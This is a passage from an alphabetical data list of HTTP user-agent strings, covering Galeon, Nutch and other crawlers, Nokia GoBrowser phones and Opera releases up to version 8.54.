U;) Gecko/20011224 Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0 Mozilla/5.0 Galeon/1.2.5 (X11; Linux i586; U;) Gecko/20020623 Debian/1.2.5-0.woody.1 Mozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/0 Mozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/20020610 Debian/1.2.5-1 Mozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/20020623 Debian/1.2.5-0.woody.1 Mozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/20020809 Mozilla/5.0 Galeon/1.2.6 (X11; Linux i586; U;) Gecko/20020916 Mozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020827 Mozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020830 Mozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020913 Debian/1.2.6-2 Mozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020916 Mozilla/5.0 Galeon/1.2.7 (X11; Linux i686; U;) Gecko/20021226 Debian/1.2.7-6 Mozilla/5.0 Galeon/1.2.8 (X11; Linux i686; U;) Gecko/20030212 Mozilla/5.0 Galeon/1.2.8 (X11; Linux i686; U;) Gecko/20030317 Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk Mozilla/5.0 Gecko/20030306 Camino/0.7 Mozilla/5.0 GurujiBot/1.0 ( http://www.guruji.com/en/WebmasterFAQ.html) Mozilla/5.0 GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html) Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/11.0.696.50 Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/12.0.742.91 Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Mozilla/5.0 URL-Spider Mozilla/5.0 [en] (compatible; Gulper Web Bot 0.2.4 www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot) Mozilla/5.0 gURLChecker/0.x.x (Linux) Mozilla/5.0 larbin@unspecified.mail Mozilla/5.0 usww.com-Spider-for-w8.net Mozilla/5.0 wgao@genieknows.com Mozilla/5.0 whoiam [http://www.axxus.de/] Mozilla/5.0(Compatible; Windows; U; en-US;) Sundance/0.9 Mozilla/5.0(Compatible; Windows; U; en-US;) Sundance/0.9.0.33 Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0(Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0(X11;U;Linux(x86_64);en;rv:1.9a8)Gecko/2007100619;GranParadiso/3.1 Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/123 Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10 Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc Mozilla/5.001 (Macintosh; N; PPC; ja) Gecko/25250101 Mozilla/5.001 (X11; U; Linux i686; rv:1.8.1.6; de-ch) Gecko/25250101 (ubuntu-feisty) Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5 Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/6.0 (X11; U; Linux x86_64; en-US; rv:2.9.0.3) Gecko/2009022510 FreeBSD/ Sunrise/4.0.1/like Safari MozillaMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 824x1200;rotate) Mulder, VCR-1.0 MultiText/0.1 MusicWalker2.0 ( http://www.somusical.com) My WinHTTP Connection MyGetRight/1.0.0 MyGetRight/1.0b Mylinea.com Crawler 2.0 NABOT/5.0 NASA Search 1.0 NCSA Beta 1 (http://vias.ncsa.uiuc.edu/viasarchivinginformation.html) NCSA Mosaic/1.0 (X11;SunOS 4.1.4 sun4m) NCSA Mosaic/3.0 (Windows 95) NCSA_Mosaic/2.0 (Windows 3.1) NCSA_Mosaic/2.6 (X11; SunOS 4.1.3 sun4m) NCSA_Mosaic/2.7b4 (X11;AIX 1 000180663000) NEC Research Agent -- compuman at research.nj.nec.com NEC-Hayek/1.0 NETCOMplete/x.xx NFReader/1.4.1.0 (http://www.gaijin.at/) NG-Search/0.86 ( http://www.ng-search.com) NG-Search/0.86 (+http://www.ng-search.com) NG-Search/0.9.8 (http://www.ng-search.com) NG-Search/0.90 (NG-SearchBot; http://www.ng-search.com; ) NG/1.0 NG/4.0.1229 NICO/1.0 NITLE Blog Spider/0.01 NP/0.1 (NP; http://www.nameprotect.com; npbot@nameprotect.com) NPBot (http://www.nameprotect.com/botinfo.html) NPBot-1/2.0 NSPlayer/10.0.0.xxxx WMFSDK/10.0 Naamah 1.0.1/Blogbot (http://blogbot.de/) Naamah 1.0a/Blogbot (http://blogbot.de/) NameOfAgent (CMS Spider) NationalDirectory-WebSpider/1.3 NationalDirectoryAddURL/1.0 NaverBot-1.0 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com) NaverBot_dloader/1.5 NavissoBot NavissoBot/1.7 (+http://navisso.com/) Nebullabot/2.2 (http://bot.nebulla.info) Net-Seekr Bot/Net-Seekr Bot V1 (http://www.net-seekr.com) NetAnts/1.2x NetLookout/2.24 NetMechanic Vx.0 NetNewsWire/2.x (Mac OS X; http://ranchero.com/netnewswire/) NetNoseCrawler/v1.0 NetPumper/x.xx NetResearchServer(http://www.look.com) NetResearchServer/2.5(loopimprovements.com/robot.html) NetResearchServer/2.7(loopimprovements.com/robot.html) NetResearchServer/2.8(loopimprovements.com/robot.html) NetResearchServer/3.5(loopimprovements.com/robot.html) NetResearchServer/4.0(loopimprovements.com/robot.html) NetResearchServer/x.x(loopimprovements.com/robot.html) NetSeer/Nutch-0.9 (NetSeer Crawler; http://www.netseer.com; crawler@netseer.com) NetSprint -- 2.0 NetSurf/1.0 (Linux; i686) NetSurf/1.1 (Linux; i686) NetSurf/1.2 (Linux; i686) NetSurf/1.2 (Linux; x86_64) NetSurf/1.2 (NetBSD; amd64) NetSurf/1.2 (NetBSD; i386; NetBSD 4.99.59 i386) NetSurf/1.2 (RISC OS; armv4l) NetSurf/2.0 (Linux; i686) NetSurf/2.0 (RISC OS; armv3l) NetSurf/2.0 (RISC OS; armv5l) NetWhatCrawler/0.06-dev (NetWhatCrawler from NetWhat.com; http://www.netwhat.com; support@netwhat.com) NetZippy NetinfoBot/1.0 (http://netinfo.bg/netinfobot.html) Netluchs/0.8-dev ( ; http://www.netluchs.de/; ___don't___spam_me_@netluchs.de) Netprospector JavaCrawler NeuralBot/0.2 NewsGator FetchLinks extension/0.2.0 (http://graemef.com) NewsGator/2.0 Bot (http://www.newsgator.com) NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET CLR 1.1.4322.2032) NewsGatorOnline/2.0 (http://www.newsgator.com; 1 subscribers) NextGenSearchBot 1 (for information visit http://www.eliyon.com/NextGenSearchBot) NextopiaBOT (+http://www.nextopia.com) distributed crawler client beta v0.x Nikita the Spider (http://NikitaTheSpider.com/) Nitro Downloader 1.x (www.klsofttools.com) Nitro PDF Download Noago Spider Nocilla/1.0 Nokia-WAPToolkit/1.2 googlebot(at)googlebot.com Nokia3230/2.0 (5.0614.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0 Nokia5230/GoBrowser/1.6.0.70 Nokia5230/GoBrowser/1.6.0.75 Nokia5250/10.0.011 (SymbianOS/9.4; U; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Safari/525 3gpp-gba Nokia5250/11.0.008 (SymbianOS/9.4; U; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Safari/525 3gpp-gba Nokia5320XpressMusic/GoBrowser/1.6.0.48 Nokia5320XpressMusic/GoBrowser/1.6.0.70 Nokia5320XpressMusic/GoBrowser/1.6.0.75 Nokia5320XpressMusic/GoBrowser/1.6.91 Nokia5320XpressMusic/GoBrowser/2.0.290 Nokia5530XpressMusic/GoBrowser/1.6.0.48 Nokia5630XpressMusic/GoBrowser/1.6.91 Nokia5700XpressMusic/GoBrowser/1.6.91 Nokia5730XpressMusic/GoBrowser Nokia5730XpressMusic/GoBrowser/1.6.0.75 Nokia5800XpressMusic/GoBrowser Nokia5800XpressMusic/GoBrowser/1.6.0.46 Nokia5800XpressMusic/GoBrowser/1.6.0.75 Nokia6100/1.0 (04.01) Profile/MIDP-1.0 Configuration/CLDC-1.0 Nokia6120c/GoBrowser Nokia6120c/GoBrowser/1.6.0.48 Nokia6120c/GoBrowser/1.6.0.70 Nokia6120c/GoBrowser/1.6.86 Nokia6120c/GoBrowser/2.0.290 Nokia6124c/GoBrowser/1.6.0.48 Nokia6220c/GoBrowser/1.6.86 Nokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1 Nokia6230i/2.0 (03.80) Profile/MIDP-2.0 Configuration/CLDC-1.1 Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi http://find.mobi/bot.html abuse@mtld.mobi) Nokia6610/1.0 (3.09) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/help/us/ysearch/crawling/crawling-01.html) Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 Nokia6630/1.0 (2.39.15) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 Nokia6700s/GoBrowser/1.6.0.70 Nokia6700s/GoBrowser/1.6.91 Nokia7110/1.0 (05.01) (Google WAP Proxy/1.0) Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0 NokiaC5-00/061.005 (SymbianOS/9.3; U; Series60/3.2 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525 3gpp-gba NokiaC5-00/GoBrowser NokiaC5-00/GoBrowser/1.6.91 NokiaC5-00/GoBrowser/2.0.290 NokiaC6-00/10.0.021 (SymbianOS/9.4; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebkit/525 (KHTML, like Gecko) BrowserNG/7.2.6 UNTRUSTED/1.0 3gpp-gba NokiaC6-00/GoBrowser NokiaC7-00/SymbianOS/9.1 Series60/3.0 3gpp-gba NokiaE5-00/GoBrowser/1.6.86 NokiaE5-00/SymbianOS/9.1 Series60/3.0 3gpp-gba NokiaE52-1/SymbianOS/9.1 Series60/3.0 3gpp-gba NokiaE63/GoBrowser/1.6.86 NokiaE66/GoBrowser/2.0.297 NokiaE72/GoBrowser/1.6.91 NokiaE72/GoBrowser/2.0.290 NokiaN70-1/5.0609.2.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0 NokiaN70/GoBrowser NokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1 NokiaN78/GoBrowser/1.6.0.70 NokiaN78/GoBrowser/1.6.0.75 NokiaN79/GoBrowser NokiaN79/GoBrowser/1.6.0.48 NokiaN79/GoBrowser/1.6.0.48-cn NokiaN81/GoBrowser NokiaN81/GoBrowser/1.6.0.70 NokiaN81/GoBrowser/1.6.91 NokiaN81/GoBrowser/2.0.290 NokiaN82/GoBrowser NokiaN82/GoBrowser/1.6.0.48 NokiaN82/GoBrowser/1.6.86 NokiaN85/GoBrowser NokiaN85/GoBrowser/1.6.0.75 NokiaN85/GoBrowser/1.6.91 NokiaN86_8MP/GoBrowser NokiaN86_8MP/GoBrowser/1.6.0.4868.208.92; NokiaN95/GoBrowser NokiaN95_8GB/GoBrowser NokiaN97/21.1.107 (SymbianOS/9.4; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebkit/525 (KHTML, like Gecko) BrowserNG/7.1.4 NokiaN97/GoBrowser NokiaN97_mini/GoBrowser NokiaN97_mini/GoBrowser/1.6.0.48 NokiaN97_mini/GoBrowser/1.6.0.70 NokiaN97_mini/GoBrowser/1.6.0.75 NokiaN97i/SymbianOS/9.1 Series60/3.0 NokiaX6/GoBrowser NokodoBot/1.x (+http://nokodo.com/bot.htm) Norbert the Spider(Burf.com) Notifixious/LinkChecker (http://notifixio.us) Nsauditor/1.x NuSearch Spider (compatible; MSIE 6.0) NuSearch Spider www.nusearch.com Nucleus SiteList LinkChecker/1.1 Nusearch Spider (www.nusearch.com) Nutch Nutch crawler/Nutch-0.9 (picapage.com; admin@picapage.com) Nutch/Nutch-0.9 (Eurobot; http://www.ayell.eu ) NutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net) NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; jagdeepssandhu@hotmail.com) NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net) NutchCVS/0.0x-dev (Nutch; http://www.nutch.org/docs/bot.html; nutch-agent@lists.sourceforge.net) NutchCVS/0.7 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/0.7.1 (Nutch running at UW; http://crawlers.cs.washington.edu/; sycrawl@cs.washington.edu) NutchCVS/0.7.1 (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu) NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchCVS/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) NutchEC2Test/Nutch-0.9-dev (Testing Nutch on Amazon EC2.; http://lucene.apache.org/nutch/bot.html; ec2test at lucene.com) NutchOrg/0.0x-dev (Nutch; http://www.nutch.org/docs/bot.html; nutch-agent@lists.sourceforge.net) NutchVinegarCrawl/Nutch-0.8.1 (Vinegar; http://www.cs.washington.edu; eytanadar at gmail dot com) Nymesis/1.0 (http://nymesis.com) OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; pvvpr at iiit dot ac dot in) OOZBOT/0.20 ( -- ; http://www.setooz.com/oozbot.html ; agentname at setooz dot_com ) OOZBOT/0.20 ( http://www.setooz.com/oozbot.html ; agentname at setooz dot_com ) OPWV-SDK UP.Browser/7.0.2.3.119 (GUI) MMP/2.0 Push/PO OSSProxy 1.3.305.321 (Build 305.321 Win32 en-us)(Dec 21 2005 16:30:54) OWR_Crawler 0.1 ObjectsSearch/0.01-dev (ObjectsSearch;http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com) ObjectsSearch/0.0x (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com) Ocelli/1.x (http://www.globalspec.com/Ocelli) Octopus Octora Beta - www.octora.com Octora Beta Bot - www.octora.com Offline Explorer Offline Explorer 1.* Offline Explorer/1.4 Offline Explorer/1.9 Offline Explorer/2.5 OliverPerry OmniExplorer_Bot/1.0x (+http://www.omni-explorer.com) Internet CategorizerOmniExplorer http://www.omni-explorer.com/ car & shopping search (64.62.175.xxx) OmniExplorer_Bot/1.0x (+http://www.omni-explorer.com) Job Crawler OmniExplorer_Bot/1.1x (+http://www.omni-explorer.com) Torrent Crawler OmniExplorer_Bot/4.32 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/4.80 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.01 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.20 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.25 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.28 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/5.91c (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.47 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.60 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.62 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.63b (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.65a (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer OmniExplorer_Bot/x.xx (+http://www.omni-explorer.com) WorldIndexer Onet.pl SA- http://szukaj.onet.pl Online24-Bot (Version: 1.0x, powered by www.online24.de) OntoSpider/1.0 libwww-perl/5.65 OpenAcoon v4.0.x (www.openacoon.de) OpenISearch/1.x (www.openisearch.com) OpenTaggerBot (http://www.opentagger.com/opentaggerbot.htm) OpenTextSiteCrawler/2.9.2 OpenWebSpider/0.x.x (http://www.openwebspider.org) OpenWebSpider/x Openbot/3.0+(robot-response@openfind.com.tw;+http://www.openfind.com.tw/robot.html) Openfind Robot/1.1A2 Openfind data gatherer- Openbot/3.0+(robot-response@openfind.com.tw;+http://www.openfind.com.tw/robot.html) Opera 10.00 (X11; OpenBSD amd64; U; ru) Presto/2.2.0 Opera 9.4 (Windows NT 5.3; U; en) Opera 9.4 (Windows NT 6.1; U; en) Opera 9.64 (Windows NT 6.1; U; en) Opera 9.7 (Windows NT 5.2; U; en) Opera user agent strings Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.1 Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.2 Opera/10.00 (Windows NT 5.0; U; ru) Presto/2.2.0 Opera/10.00 (Windows NT 5.1; U; cs) Presto/2.2.2 Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.1 Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.2 Opera/10.00 (Windows NT 5.1; U; fi) Presto/2.2.0 Opera/10.00 (Windows NT 5.1; U; pl) Presto/2.2.0 Opera/10.00 (Windows NT 5.1; U; ru) Presto/2.2.0 Opera/10.00 (Windows NT 5.1; U; zh-cn) Presto/2.2.0 Opera/10.00 (Windows NT 6.0; U; en) Presto/2.2.2 Opera/10.00 (Windows NT 6.0; U; it) Presto/2.2.1 Opera/10.00 (Windows NT 6.1; U; en) Presto/2.2.1 Opera/10.00 (Windows NT 6.1; U; en) Presto/2.2.2 Opera/10.00 (Windows NT 6.1; U; pt-BR) Presto/2.2.2 Opera/10.00 (X11; Linux i686 ; U; Fedora 9; en) Presto/2.2.0 Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.1 Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30 Opera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00 Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00 Opera/12.02 (Android 4.1; Linux; Opera Mobi/ADR-1111101157; U; en-US) Presto/2.9.201 Version/12.02 Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02 Opera/4.02 (Windows 98; U) [en] Opera/5.0 (Linux 2.0.38 i386; U) [en] Opera/5.0 (SunOS 5.8 sun4u; U) [en] Opera/5.0 (Ubuntu; U; Windows NT 6.1; es; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Opera/5.02 (Macintosh; U; id) Opera/5.02 (Windows 98; U) [en] Opera/5.02 (Windows NT 5.0; U) [en] Opera/5.11 (Windows 98; U) [en] Opera/5.11 (Windows ME; U) [ru] Opera/5.12 (Windows 98; U) [en] Opera/5.12 (Windows 98; U) [en] Opera/5.12 (Windows NT 5.1; U) [de] Opera/6.0 (Macintosh; PPC Mac OS X; U) Opera/6.0 (Windows 2000; U) [de] Opera/6.0 (Windows 2000; U) [fr] Opera/6.0 (Windows ME; U) [de] Opera/6.0 (Windows XP; U) [de] Opera/6.01 (Windows 2000; U) [de] Opera/6.01 (Windows 2000; U) [en] Opera/6.01 (Windows 98; U) [de] Opera/6.01 (Windows 98; U) [en] Opera/6.01 (Windows XP; U) [de] Opera/6.01 (X11; U; nn) Opera/6.01 (larbin@unspecified.mail) Opera/6.02 (Windows NT 4.0; U) [de] Opera/6.03 (Linux 2.4.18-18.7.x i686; U) [en] Opera/6.03 (Windows 2000; U) [en] Opera/6.03 (Windows 98; U) [en] Opera/6.03 (Windows NT 4.0; U) [en] Opera/6.04 (Windows 2000; U) [de] Opera/6.04 (Windows 2000; U) [en] Opera/6.04 (Windows 98; U) [en-GB] Opera/6.04 (Windows NT 4.0; U) [de] Opera/6.04 (Windows NT 4.0; U) [en] Opera/6.04 (Windows XP; U) [de] Opera/6.04 (Windows XP; U) [en] Opera/6.05 (Windows 2000; U) [de] Opera/6.05 (Windows 2000; U) [en] Opera/6.05 (Windows 2000; U) [fr] Opera/6.05 (Windows 2000; U) [it] Opera/6.05 (Windows 2000; U) [ja] Opera/6.05 (Windows 2000; U) [oc] Opera/6.05 (Windows 98; U) [de] Opera/6.05 (Windows 98; U) [en] Opera/6.05 (Windows 98; U) [fr] Opera/6.05 (Windows ME; U) [de] Opera/6.05 (Windows ME; U) [fr] Opera/6.05 (Windows NT 4.0; U) [de] Opera/6.05 (Windows NT 4.0; U) [fr] Opera/6.05 (Windows NT 4.0; U) [ro] Opera/6.05 (Windows XP; U) [de] Opera/6.05 (Windows XP; U) [en] Opera/6.05 (Windows XP; U) [en] Opera/6.11 (FreeBSD 4.7-RELEASE i386; U) [en] Opera/6.11 (Linux 2.4.10-4GB i686; U) [en] Opera/6.11 (Linux 2.4.18-4GB i686; U) [en] Opera/6.11 (Linux 2.4.18-bf2.4 i686; U) [en] Opera/6.12 (Linux 2.4.18-14cpq i686; U) [en] Opera/6.12 (Linux 2.4.20-4GB i686; U) [en] Opera/6.x (Linux 2.4.8-26mdk i686; U) [en] Opera/6.x (Windows NT 4.0; U) [de] Opera/7.0 (Windows 2000; U) [de] Opera/7.0 (Windows 2000; U) [en] Opera/7.0 (Windows 98; U) [en] Opera/7.0 (Windows NT 4.0; U) [de] Opera/7.0 (Windows NT 4.0; U) [en] Opera/7.0 (Windows NT 5.1; U) [en] Opera/7.01 (Windows 98; U) [en] Opera/7.01 (Windows 98; U) [fr] Opera/7.01 (Windows NT 5.0; U) [en] Opera/7.01 (Windows NT 5.1; U) [en] Opera/7.02 (Windows 98; U) [en] Opera/7.02 (Windows NT 5.1; U) [fr] Opera/7.03 (Windows 98; U) [de] Opera/7.03 (Windows 98; U) [en] Opera/7.03 (Windows NT 4.0; U) [en] Opera/7.03 (Windows NT 5.0; U) [de] Opera/7.03 (Windows NT 5.0; U) [en] Opera/7.03 (Windows NT 5.1; U) [de] Opera/7.03 (Windows NT 5.1; U) [en] Opera/7.10 (Linux Debian;en-US) Opera/7.10 (Windows NT 4.0; U) [de] Opera/7.10 (Windows NT 5.0; U) [en] Opera/7.10 (Windows NT 5.1; U) [en] Opera/7.11 (Linux 2.6.0-test4 i686; U) [en] Opera/7.11 (Windows 98; U) [de] Opera/7.11 (Windows 98; U) [en] Opera/7.11 (Windows NT 5.0; U) [de] Opera/7.11 (Windows NT 5.0; U) [en] Opera/7.11 (Windows NT 5.1; U) [de] Opera/7.11 (Windows NT 5.1; U) [en] Opera/7.11 (Windows NT 5.1; U) [pl] Opera/7.20 (Windows NT 5.1; U) [en] Opera/7.21 (Windows NT 5.1; U) [en] Opera/7.22 (Windows NT 5.1; U) [de] Opera/7.23 (Windows 98; U) [en] Opera/7.23 (Windows NT 5.0; U) [en] Opera/7.23 (Windows NT 5.0; U) [fr] Opera/7.23 (Windows NT 5.0; U) [en] Opera/7.23 (Windows NT 5.1; U; sv) Opera/7.23 (Windows NT 6.0; U) [zh-cn] Opera/7.50 (Windows ME; U) [en] Opera/7.50 (Windows NT 5.1; U) [en] Opera/7.50 (Windows XP; U) Opera/7.51 (Linux) [en] Opera/7.51 (Windows NT 5.1; U) [en] Opera/7.51 (X11; SunOS sun4u; U) [de] Opera/7.52 (Windows NT 5.1; U) [en] Opera/7.52 (Windows NT 5.1; U) [en] Opera/7.53 (Windows NT 5.1; U) [en] Opera/7.53 (X11; Linux i686; U) [en_US] Opera/7.54 (Windows 98; U) [de] Opera/7.54 (Windows NT 5.0; U) [de] Opera/7.54 (Windows NT 5.0; U) [en] Opera/7.54 (Windows NT 5.1; U) [de] Opera/7.54 (Windows NT 5.1; U) [en] Opera/7.54 (Windows NT 5.1; U) [it] Opera/7.54 (Windows NT 5.1; U) [en] Opera/7.54 (X11; Linux i686; U) [en] Opera/7.x (Windows NT 5.1; U) [en] Opera/8.0 (Windows NT 5.1; U; en) Opera/8.0 (X11; Linux i686; U; cs) Opera/8.00 (Windows NT 5.1; U; en) Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr) Opera/8.01 (Macintosh; PPC Mac OS X; U; en) Opera/8.01 (Macintosh; U; PPC Mac OS; en) Opera/8.01 (Windows NT 5.0; U; de) Opera/8.01 (Windows NT 5.1; U; de) Opera/8.01 (Windows NT 5.1; U; en) Opera/8.01 (Windows NT 5.1; U; fr) Opera/8.01 (Windows NT 5.1; U; pl) Opera/8.02 (Windows NT 5.1; U; de) Opera/8.02 (Windows NT 5.1; U; en) Opera/8.02 (Windows NT 5.1; U; ru) Opera/8.10 (Windows NT 5.1; U; en) Opera/8.50 (Windows 98; U; en) Opera/8.50 (Windows 98; U; ru) Opera/8.50 (Windows ME; U; en) Opera/8.50 (Windows NT 4.0; U; zh-cn) Opera/8.50 (Windows NT 5.0; U; de) Opera/8.50 (Windows NT 5.0; U; en) Opera/8.50 (Windows NT 5.0; U; fr) Opera/8.50 (Windows NT 5.1; U; de) Opera/8.50 (Windows NT 5.1; U; en) Opera/8.50 (Windows NT 5.1; U; es-ES) Opera/8.50 (Windows NT 5.1; U; fr) Opera/8.50 (Windows NT 5.1; U; pl) Opera/8.50 (Windows NT 5.1; U; ru) Opera/8.51 (FreeBSD 5.1; U; en) Opera/8.51 (Macintosh; PPC Mac OS X; U; de) Opera/8.51 (Windows 98; U; en) Opera/8.51 (Windows NT 5.0; U; en) Opera/8.51 (Windows NT 5.1; U; de) Opera/8.51 (Windows NT 5.1; U; en) Opera/8.51 (Windows NT 5.1; U; fr) Opera/8.51 (Windows NT 5.1; U; nb) Opera/8.51 (Windows NT 5.1; U; pl) Opera/8.51 (X11; Linux i686; U; en) Opera/8.51 (X11; Linux x86_64; U; en) Opera/8.51 (X11; U; Linux i686; en-US; rv:1.8) Opera/8.52 (Windows ME; U; en) Opera/8.52 (Windows NT 5.0; U; en) Opera/8.52 (Windows NT 5.1; U; en) Opera/8.52 (Windows NT 5.1; U; ru) Opera/8.52 (X11; Linux i686; U; en) Opera/8.52 (X11; Linux x86_64; U; en) Opera/8.53 (Windows 98; U; en) Opera/8.53 (Windows NT 5.0; U; en) Opera/8.53 (Windows NT 5.1; U; de) Opera/8.53 (Windows NT 5.1; U; en) Opera/8.53 (Windows NT 5.1; U; pt) Opera/8.53 (Windows NT 5.2; U; en) Opera/8.54 (Windows 98; U; en) Opera/8.54 (Windows NT 4.0; U; zh-cn) Opera/8.54 (Windows NT 5.0; U; de) Opera/8.54 (Windows NT 5.0; U; en) Opera/8.54 (Windows NT 5.1; U; en) 